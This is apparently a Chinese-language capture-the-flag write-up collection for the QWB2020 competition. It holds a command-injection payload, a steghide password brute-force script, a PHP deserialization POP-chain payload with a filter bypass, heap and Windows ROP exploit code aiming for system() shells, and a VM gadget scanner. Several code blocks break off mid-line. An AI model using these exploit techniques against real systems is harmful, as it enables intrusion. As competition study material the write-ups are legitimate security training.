Category - QWB2020

[强网先锋] 主动

操作内容

ban了flag关键字,直接使用grep命令,无需使用flag
payload:127.0.0.1;grep -r fl

flag

flag{I_like_qwb_web}

[强网先锋] upload

操作内容

打开流量包,提示steghide,post了一个图片

使用tcpxtract分离图片

steghide爆破,密码123456

网上的脚本

  1. #bruteStegHide.sh
  2. #!/bin/bash
  3. for line in `cat $2`;do
  4. steghide extract -sf $1 -p $line > /dev/null 2>&1
  5. if [[ $? -eq 0 ]];then
  6. echo 'password is: '$line
  7. exit
  8. fi
  9. done

flag

flag{te11_me_y0u_like_it}

web辅助
操作内容:
1、common.php中的read和write函数,
调用后读出有一个5字符变3字符的字符逃逸问题。所以在进行反序列化的时候,还会继续向后读取,这样序列化的结果就完全不一样了。
2、构造pop链
topsolo类的TP方法进行对象调用--》触发midsolo的__invoke方法然后触发Gank方法--》stristr是对字符串的操作触发了jungle类的__toString方法达到输出flag的目的
3、源码中class.php中出现了四个类,player,topsolo,midsolo,jungle,除了player类其他三个类中都出现了一个name属性,然后看到common.php中有check函数有对这个name字符串进行限制:

  1. if(stristr($data, 'name')!==False){
  2. die("Name Pass\n");
  3. }
  4. else{
  5. return $data;
  6. }

需要绕过stristr对name的检测:
这里可以通过序列化时将s改为S,php序列化中为了避免信息丢失,支持当使用大写S时,此时这个字符串就支持将后面的字符串用16进制表示。
4、payload构造

  1. $jun=new jungle(NULL);
  2. $mid=new midsolo($jun);
  3. $top=new topsolo($mid);
  4. $payload=(serialize($top));
  5. //O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":1:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";N;}}}

5、计算逃逸点
一点点试,
最后固定username的值为\0*\0为22组,则可以逃逸出44个字符
构造pass属性的值:

  1. ;"AAAAAAAAAAAAAAAAAAA";s:8:"%00*%00admin";O:7:"topsolo":2:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":1:{S:7:"\00*\00\6e\

edit存在整数溢出,可以越界写。用 opendir 函数在堆上创建一个DIR结构体,利用 edit 修改 offset 字段指向 unsorted bins 堆块,然后调用 readdir 返回堆块并泄漏上面的libc地址。

首先释放8个 0x90 堆块,填满 tcache 并将其中一个堆块放进 unsorted bin。unsorted bin 堆块上有 main_arena 地址。

  1. for i in range(8):
  2. add(i, 0x80)
  3. add(0xf, 0x80)
  4. for i in range(8):
  5. free(i)

title

然后利用 edit 功能修改堆上 DIR 结构体指向 unsorted bin 堆块。

  1. # dirp->size = -1
  2. edit(0, 8, (0x555555757270-0x55555575f600), p64(-1, signed=True))
  3. # dirp->offset = 0x83ed
  4. edit(0, 8, (0x555555757270-0x55555575f600)+8, p64((0x55555575f690-0x555555757290)-0x13))
  5. # dp->d_ino = 0x414141
  6. edit(0, 0x80, 0, b'A'*0x80)

title

然后调用 readdir 泄露 main_arena 地址。

  1. readdir()
  2. p.recvuntil("Filename: ")
  3. libc.address = u64(p.recv(6) + b'\x00\x00') - (0x7ffff7dcfca0-0x7ffff79e4000)

再次利用 edit 功能将 tcache fd 改成 free_hook 地址。分配得到 free_hook 地址后,写入 system 函数地址。最后调用 free 函数 getshell。

  1. edit(0, 8, (0x555555757088-0x55555575f600), p64(libc.symbols["__free_hook"]))
  2. add(1, 0x80)
  3. edit(1, 8, 0, p64(libc.symbols["syst

先简单写写,后面有时间补齐。需要写反汇编器读出pass的逻辑,基本就是通过xor来简单加密,进去主逻辑后会有简单栈溢出,可以控pc。问题就是虚拟机内部的code段和data段是严格分离的,不能直接跳shellcode。但是image内部无用代码可以扫出完整的pop ret和syscall gadget,拼起来可以做rop直接open read write读flag。
反汇编以及扫gadget的脚本:

  1. from VM_Disassembler import VM_Disassembler
  2. import struct
  3. from io import open
  4. import re
  5. def bytes_to_word(val_bytes):
  6. return val_bytes[0] + 0x100 * val_bytes[1]
  7. def bytes_to_int(val_bytes):
  8. val = 0
  9. for byte_val in val_bytes[::-1]:
  10. val *= 0x100
  11. val += byte_val
  12. return val
  13. def offset_to_addr(offset):
  14. vm_start = 0x1190
  15. return offset - vm_start
  16. def get_imm(hi, data):
  17. if hi == 0x10:
  18. return data[0]
  19. elif hi == 0x20:
  20. return bytes_to_word(data)
  21. elif hi == 0x30:
  22. return bytes_to_int(data[:4])
  23. elif hi == 0x40:
  24. return bytes_to_int(data[:8])
  25. regs = ['r8', 'r9', 'r10', 'r11', 'r12', 'r13', 'r14', 'r15',
  26. 'rdi', 'rsi', 'rbp', 'rbx', 'rdx', 'rax', 'rcx', 'rsp', 'rip', 'efla

windows 下简单的栈溢出,rop过程比较复杂,code段可用gadget太少,可以先泄露栈上一个ntdll的地址,然后就可以使用ntdll里面丰富的gadget了。和linux系统不同,这里好像没有plt函数的概念,因此调用来自ucrtbase的函数时候要借助以下两条gadget。

  1. mov_rax_rax = ntdll_base + 0xbbd33 #0x00000001800bbd33: mov rax, qword ptr [rax]; ret;
  2. call_rax = ntdll_base + 0xa479d #0x00000001800a479d: call rax; nop; add rsp, 0x28; ret;

思路是先通过泄露iat表上ucrtbase库函数地址puts,算ucrtbase的基地址,然后知道system地址以后就可以system("/cmd")。做法还是比较直接,就是winddbg preview的环境配置比较坑。而且windows不像linux可以直接加载自定义的动态库,打远程的时候偏移还得重新改。

  1. from winpwn import *
  2. import sys
  3. context.log_level = "debug"
  4. # p = process(["./StackOverflow.exe", "1"])
  5. p = remote("39.99.46.209", 13389)
  6. cyclic = "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaad

mmap edit的地方有个瞎写的检查,可以直接越界写libc上面的内容,直接改free_hook,system("/bin/sh")结束。

  1. from pwn import *
  2. import re
  3. context.terminal = ['tmux', 'splitw', '-h']
  4. context.arch = 'amd64'
  5. context.log_level = "debug"
  6. env = {'LD_PRELOAD': ''}
  7. if len(sys.argv) == 1:
  8. p = process('./oldschool')
  9. elif len(sys.argv) == 3:
  10. p = remote(sys.argv[1], sys.argv[2])
  11. bp_list = []
  12. se = lambda data :p.send(data)
  13. sa = lambda delim,data :p.sendafter(delim, data)
  14. sl = lambda data :p.sendline(data)
  15. sla = lambda delim,data :p.sendlineafter(delim, data)
  16. sea = lambda delim,data :p.sendafter(delim, data)
  17. rc = lambda numb=4096 :p.recv(numb)
  18. ru = lambda delims, drop=True :p.recvuntil(delims, drop)
  19. uu32 = lambda data :u32(data.ljust(4, '\0'))
  20. uu64 = lambda data :u64(data.ljust(8, '\0'))
  21. info_addr = lambda tag, addr :p.info(tag + ': {:#x}'.format(addr))
  22. # g
    Page 2 of 2